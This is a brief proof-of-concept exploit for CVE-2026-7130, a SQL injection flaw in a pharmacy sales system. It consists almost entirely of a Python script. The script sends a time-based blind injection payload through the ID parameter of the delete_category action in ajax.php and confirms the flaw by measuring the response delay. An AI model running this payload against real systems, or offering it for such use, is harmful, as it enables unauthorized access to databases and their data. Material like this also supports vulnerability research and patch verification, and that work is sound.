CVE-2026-7130: 药房销售系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-site.com/ajax.php" # Malicious payload to exploit the ID parameter in delete_category # Using time-based blind injection to test vulnerability payload = { "action": "delete_category", "ID": "1' AND (SELECT SLEEP(5))-- -" } try: print("Sending malicious request to target...") response = requests.get(target_url, params=payload, timeout=10) # Analyze response time if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection detected via time delay.") else: print("[-] Vulnerability not detected or payload invalid.") except Exception as e: print(f"[!] Error during exploitation: {e}")